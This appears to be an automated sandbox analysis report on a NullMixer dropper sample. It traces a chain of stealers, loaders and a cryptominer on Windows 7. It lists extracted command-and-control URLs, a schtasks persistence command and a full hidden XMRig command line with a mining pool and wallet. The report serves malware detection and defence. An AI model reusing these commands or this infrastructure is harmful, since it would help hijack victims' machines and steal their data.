Analysis
- max time kernel
106s - max time network
150s - platform
windows7_x64 - resource
win7-20240221-en - resource tags
- submitted
28/02/2024, 08:09
General
- Target ab6a2896f6b05c4acb603916a2fd88ab.exe
- Size 3.3MB
- Sample240228-j1982afa6w
- SHA256 4927f0b88f61a54fb9c8d14081cd5a80c6c6f358e8431af76fda5a5366d81aa8
Malware Config
Extracted
-
nullmixer
-
http://marisana.xyz/
Extracted
-
smokeloader
-
pub6
Extracted
-
vidar
-
39.9
-
706
-
https://prophefliloc.tumblr.com/
-
profile_id
706
Extracted
-
smokeloader
-
2020
-
http://aucmoney.com/upload/
-
http://thegymmum.com/upload/
-
http://atvcampingtrips.com/upload/
-
http://kuapakualaman.com/upload/
-
http://renatazarazua.com/upload/
-
http://nasufmutlu.com/upload/
Signatures
- NullMixer
NullMixer is a malware dropper leading to an infection chain of a wide variety of malware families.
- PrivateLoader
PrivateLoader is a downloader sold as a pay-per-install malware distribution service.
- RisePro
RisePro stealer is an infostealer distributed by PrivateLoader.
- SmokeLoader
Modular backdoor trojan in use since 2014.
- Vidar
Vidar is an infostealer based on Arkei stealer.
- xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
- Vidar Stealer 3 IoCs
- XMRig Miner payload 1 IoCs
- ASPack v2.12-2.42 4 IoCs
Detects executables packed with ASPack v2.12-2.42
- Executes dropped EXE 19 IoCs
- Loads dropped DLL 47 IoCs
- Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Legitimate hosting services abused for malware hosting/C2 1 TTPs 7 IoCs
- Looks up external IP address via web service 4 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Suspicious use of SetThreadContext 1 IoCs
- Drops file in Windows directory 2 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Program crash 1 IoCs
- Checks SCSI registry key(s) 3 TTPs 6 IoCs
SCSI information is often read in order to detect sandboxing environments.
- Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Modifies system certificate store 2 TTPs 13 IoCs
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious behavior: MapViewOfSection 2 IoCs
- Suspicious use of AdjustPrivilegeToken 6 IoCs
- Suspicious use of WriteProcessMemory 64 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Users\Admin\AppData\Local\Temp\ab6a2896f6b05c4acb603916a2fd88ab.exe"C:\Users\Admin\AppData\Local\Temp\ab6a2896f6b05c4acb603916a2fd88ab.exe"1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"2⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zSC1B1E636\setup_install.exe"C:\Users\Admin\AppData\Local\Temp\7zSC1B1E636\setup_install.exe"3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c jobiea_2.exe4⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\7zSC1B1E636\jobiea_2.exejobiea_2.exe5⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c jobiea_6.exe4⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\7zSC1B1E636\jobiea_6.exejobiea_6.exe5⤵
- Executes dropped EXE
- Modifies system certificate store
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c jobiea_5.exe4⤵
-
C:\Users\Admin\AppData\Local\Temp\7zSC1B1E636\jobiea_5.exejobiea_5.exe5⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c jobiea_4.exe4⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\7zSC1B1E636\jobiea_4.exejobiea_4.exe5⤵
- Executes dropped EXE
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\chrome2.exe"C:\Users\Admin\AppData\Local\Temp\chrome2.exe"6⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"' & exit7⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"'8⤵
- Creates scheduled task(s)
-
-
-
C:\Users\Admin\AppData\Roaming\services64.exe"C:\Users\Admin\AppData\Roaming\services64.exe"7⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
- Modifies system certificate store
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"' & exit8⤵
-
C:\Windows\system32\schtasks.exeschtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"'9⤵
- Creates scheduled task(s)
-
-
-
C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"8⤵
- Executes dropped EXE
-
-
C:\Windows\explorer.exeC:\Windows\explorer.exe --cinit-find-x -B --algo=rx/0 --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=xmr-eu2.nanopool.org:14433 --user=41o1Bi5waqLgbkV653RD7zSYeXSWRu1wnEDzPgFDFwntSnuRx7g4HbHPqNDGS6BW1bget6yyHyrPbBcVsdR6Ebxd843bMuK.main/password --pass= --cpu-max-threads-hint=30 --cinit-remote-config="v4Qq47ngFyBcSyO2uLKc6BJ+edII5Fll530cZ/+msGEWovb73nU3RrOnuNmRoFcg" --cinit-idle-wait=5 --cinit-idle-cpu=70 --tls --cinit-stealth8⤵
- Suspicious use of AdjustPrivilegeToken
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\setup.exe"C:\Users\Admin\AppData\Local\Temp\setup.exe"6⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Windows directory
-
C:\Windows\winnetdriv.exe"C:\Users\Admin\AppData\Local\Temp\setup.exe" 1709107771 07⤵
- Executes dropped EXE
-
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c jobiea_8.exe4⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\7zSC1B1E636\jobiea_8.exejobiea_8.exe5⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c jobiea_9.exe4⤵
-
C:\Users\Admin\AppData\Local\Temp\7zSC1B1E636\jobiea_9.exejobiea_9.exe5⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Local\Temp\7zSC1B1E636\jobiea_9.exe"C:\Users\Admin\AppData\Local\Temp\7zSC1B1E636\jobiea_9.exe"5⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c jobiea_7.exe4⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\7zSC1B1E636\jobiea_7.exejobiea_7.exe5⤵
- Executes dropped EXE
- Loads dropped DLL
- Modifies system certificate store
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c jobiea_3.exe4⤵
- Loads dropped DLL
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c jobiea_1.exe4⤵
- Loads dropped DLL
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2456 -s 4244⤵
- Loads dropped DLL
- Program crash
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\7zSC1B1E636\jobiea_3.exejobiea_3.exe1⤵
- Executes dropped EXE
- Loads dropped DLL
- Modifies system certificate store
-
C:\Users\Admin\AppData\Local\Temp\7zSC1B1E636\jobiea_1.exe"C:\Users\Admin\AppData\Local\Temp\7zSC1B1E636\jobiea_1.exe" -a1⤵
- Executes dropped EXE
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\7zSC1B1E636\jobiea_1.exejobiea_1.exe1⤵
- Executes dropped EXE
- Loads dropped DLL
-
C:\Windows\system32\taskeng.exetaskeng.exe {E655D704-6207-440D-8F2D-E79E59BE2542} S-1-5-21-2297530677-1229052932-2803917579-1000:HKULBIBU\Admin:Interactive:[1]1⤵
-
C:\Users\Admin\AppData\Roaming\wsewfwsC:\Users\Admin\AppData\Roaming\wsewfws2⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
94308059B57B3142E455B38A6EB92015
jobiea_5.exe
jobiea_5.txt
jobiea_6.exe
jobiea_7.exe
jobiea_7.txt
jobiea_8.exe
jobiea_9.exe
libcurlpp.dll
libgcc_s_dw2-1.dll
Tar210F.tmp
setup_installer.exe
setup_installer.exe
services64.exe
winnetdriv.exe
jobiea_1.exe
jobiea_2.exe
jobiea_2.exe
jobiea_3.exe
jobiea_4.exe
jobiea_7.exe
jobiea_7.exe
jobiea_7.exe
libcurl.dll
libstdc++-6.dll
libwinpthread-1.dll
setup_install.exe
setup_installer.exe
setup_installer.exe
setup_installer.exe
setup_installer.exe
memory/320-228-0x0000000000560000-0x00000000005E0000-memory.dmp
memory/320-205-0x0000000000300000-0x0000000000306000-memory.dmp
memory/320-201-0x00000000002D0000-0x00000000002F8000-memory.dmp
memory/320-159-0x00000000002C0000-0x00000000002C6000-memory.dmp
memory/320-218-0x000007FEF57A0000-0x000007FEF618C000-memory.dmp
memory/320-134-0x0000000000C30000-0x0000000000C68000-memory.dmp
memory/320-415-0x000007FEF57A0000-0x000007FEF618C000-memory.dmp
memory/920-125-0x0000000000060000-0x000000000014E000-memory.dmp
memory/1192-448-0x0000000003D60000-0x0000000003D76000-memory.dmp
memory/1192-283-0x0000000002600000-0x0000000002616000-memory.dmp
memory/1548-243-0x00000000001D0000-0x00000000002B4000-memory.dmp
memory/1692-427-0x0000000002DD0000-0x0000000002ED0000-memory.dmp
memory/1692-225-0x00000000031F0000-0x000000000328D000-memory.dmp
memory/1692-226-0x0000000000400000-0x0000000002CC2000-memory.dmp
memory/1692-224-0x0000000002DD0000-0x0000000002ED0000-memory.dmp
memory/1692-315-0x0000000000400000-0x0000000002CC2000-memory.dmp
memory/1888-516-0x00000000005C0000-0x00000000005E0000-memory.dmp
memory/1888-509-0x0000000140000000-0x0000000140786000-memory.dmp
memory/1896-441-0x0000000000550000-0x000000000055E000-memory.dmp
memory/1896-207-0x000000013F590000-0x000000013F5A0000-memory.dmp
memory/1896-446-0x000007FEF57A0000-0x000007FEF618C000-memory.dmp
memory/1896-229-0x000007FEF57A0000-0x000007FEF618C000-memory.dmp
memory/1896-440-0x000000001BF10000-0x000000001BF90000-memory.dmp
memory/1896-429-0x000007FEF57A0000-0x000007FEF618C000-memory.dmp
memory/1948-428-0x000000001B3D0000-0x000000001B450000-memory.dmp
memory/1948-426-0x000007FEF57A0000-0x000007FEF618C000-memory.dmp
memory/1948-120-0x0000000001330000-0x0000000001338000-memory.dmp
memory/1948-220-0x000007FEF57A0000-0x000007FEF618C000-memory.dmp
memory/1948-227-0x000000001B3D0000-0x000000001B450000-memory.dmp
memory/2020-284-0x0000000000400000-0x0000000002C66000-memory.dmp
memory/2020-221-0x00000000002D0000-0x00000000002D9000-memory.dmp
memory/2020-222-0x0000000000400000-0x0000000002C66000-memory.dmp
memory/2020-230-0x0000000002D00000-0x0000000002E00000-memory.dmp
memory/2068-232-0x0000000000D90000-0x0000000000E74000-memory.dmp
memory/2456-80-0x000000006FE40000-0x000000006FFC6000-memory.dmp
memory/2456-79-0x000000006FE40000-0x000000006FFC6000-memory.dmp
memory/2456-91-0x0000000000400000-0x000000000051E000-memory.dmp
memory/2456-90-0x0000000000400000-0x000000000051E000-memory.dmp
memory/2456-89-0x0000000000400000-0x000000000051E000-memory.dmp
memory/2456-86-0x0000000000400000-0x000000000051E000-memory.dmp
memory/2456-88-0x0000000000400000-0x000000000051E000-memory.dmp
memory/2456-84-0x000000006B280000-0x000000006B2A6000-memory.dmp
memory/2456-83-0x000000006B280000-0x000000006B2A6000-memory.dmp
memory/2456-81-0x000000006FE40000-0x000000006FFC6000-memory.dmp
memory/2456-306-0x0000000000400000-0x000000000051E000-memory.dmp
memory/2456-307-0x0000000064940000-0x0000000064959000-memory.dmp
memory/2456-308-0x000000006B280000-0x000000006B2A6000-memory.dmp
memory/2456-309-0x000000006B440000-0x000000006B4CF000-memory.dmp
memory/2456-310-0x000000006EB40000-0x000000006EB63000-memory.dmp
memory/2456-311-0x000000006FE40000-0x000000006FFC6000-memory.dmp
memory/2456-71-0x000000006B440000-0x000000006B4CF000-memory.dmp
memory/2456-73-0x000000006B440000-0x000000006B4CF000-memory.dmp
memory/2456-77-0x0000000000520000-0x000000000063E000-memory.dmp
memory/2456-87-0x0000000000400000-0x000000000051E000-memory.dmp
memory/2456-78-0x000000006FE40000-0x000000006FFC6000-memory.dmp
memory/2456-76-0x000000006B440000-0x000000006B4CF000-memory.dmp
memory/2456-63-0x000000006B440000-0x000000006B4CF000-memory.dmp
memory/2456-60-0x000000006B280000-0x000000006B2A6000-memory.dmp
memory/2456-74-0x0000000064940000-0x0000000064959000-memory.dmp
memory/2456-72-0x000000006FE40000-0x000000006FFC6000-memory.dmp
memory/2456-57-0x0000000000400000-0x000000000051E000-memory.dmp
memory/2460-480-0x000000013FE20000-0x000000013FE26000-memory.dmp
memory/2460-481-0x000007FEF57A0000-0x000007FEF618C000-memory.dmp
memory/2640-445-0x000000013F490000-0x000000013F4A0000-memory.dmp
memory/2640-447-0x000007FEF57A0000-0x000007FEF618C000-memory.dmp
memory/2640-474-0x000007FEF57A0000-0x000007FEF618C000-memory.dmp
memory/2640-475-0x000000001AB50000-0x000000001ABD0000-memory.dmp
memory/2640-506-0x000007FEF57A0000-0x000007FEF618C000-memory.dmp
memory/2744-439-0x0000000000400000-0x0000000002C66000-memory.dmp
memory/2744-451-0x0000000000400000-0x0000000002C66000-memory.dmp
memory/2744-438-0x00000000030B0000-0x00000000031B0000-memory.dmp
memory/2844-53-0x00000000030F0000-0x000000000320E000-memory.dmp
memory/2844-52-0x00000000030F0000-0x000000000320E000-memory.dmp